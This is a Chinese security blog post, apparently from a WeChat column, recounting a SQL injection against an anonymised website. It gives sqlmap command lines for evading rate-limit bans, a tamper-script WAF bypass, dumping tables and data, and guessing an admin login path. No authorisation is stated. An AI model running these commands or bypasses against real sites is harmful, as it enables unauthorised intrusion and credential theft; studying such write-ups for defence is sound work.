专栏名称: 零度安全攻防实验室
一个分享实战经验的平台; 一个专注于web安全、渗透测试、漏洞挖掘、资源分享并为广大网络安全爱好者提供交流分享学习的平台。欢迎各位喜欢做安全的朋友加入。
目录
相关文章推荐
叔贵的健身思考笔记  ·  “江疏影花那么多钱请私教,咋脖子都练不直???” ·  20 小时前  
杨天南财务健康谈  ·  2025百万人生冬令营 ·  4 天前  
朱志良博士de职业健康  ·  331,建议改为推荐性标准 ·  3 天前  
51好读  ›  专栏  ›  零度安全攻防实验室

实战|记一次SQL注入过WAF思路分享

零度安全攻防实验室  · 公众号  ·  · 2019-10-24 12:51

正文

判断注入

输入 ' --> 报错

输入 '' --> 回显正常

可以确定是使用单引号闭合的



输入 ' and '1'='1  --> 回显正常, 可以查询到数据


 

输入 ' and '1'='2 --> 回显正常, 但未查询到数据

可以确定存在注入


 

接下来就是跑数据, 直接掏出sqlmap

sqlmap -u "http://www.xxx.com?id=2" --batch

一片红!!! nice

再次访问IP已经被封掉了


 

根据经验推测应该是因为访问过于频繁导致的

开代理换个IP, 加个延时参数继续

OK, 成功跑出注入点

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch

                       

 

查询当前数据库用户权限, 不是高权限, 所以只能去找Web后台管理员账号密码

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch --is-dba

                                   


查询当前数据库, 成功

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch --current-db

                                           

查询表, 失败

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [库名] --tables

嗯??? nice

有WAF, 赶紧去访问网站看看IP有没有被封

还好, 没有被封


 

显示payload, 看看是哪句被拦截了

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [库名] --tables -v 3

可以看到第一次被拦截的payload


                                   


将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了



手工模糊测试, 发现被拦截的为关键字: FROM




这里说下个人思路:

  1. 在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去

  2. sqlmap自带有过WAF脚本, 我去查询了下有没有能代替的其他关键字, 很遗憾没找到

  3. 然后考虑尝试使用编码, 注释类的脚本去过, 经过反复测试, 成功绕过

  4. 查询tamper脚本的相关文章链接: https://www.freebuf.com/sectool/179035.html

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [库名] --tables -v 3 --tamper=halfversionedmorekeywords


                                   


接下来就简单多了

查询表--tables


                       


查询列--columns


                                   


查询数据--dump




sqlmap跑数据的同时, 我去找了下后台

因为限制了访问速度, 所以这里我没有选择用御剑等工具去扫, 一般情况下可以先去做下目录扫描

看看有没有robots.txt文件, 404



搜索引擎搜索一波


                                   


找到一个会员登录的页面: http://www.xxx.com/login.aspx

额..., 一看会员登录是这种文件名, 管理员后台也不会难找到哪里去



顺手在login.aspx前加了个admin

http://www.xxx.com/admin/login.aspx

特么的就访问成功了...

所以这里我得出了一个重要的结论: 运气好等于成功了一半 (手动滑稽)


 

成功登录, 至此测试结束

这里不再进行深入测试


扫码求转发求关注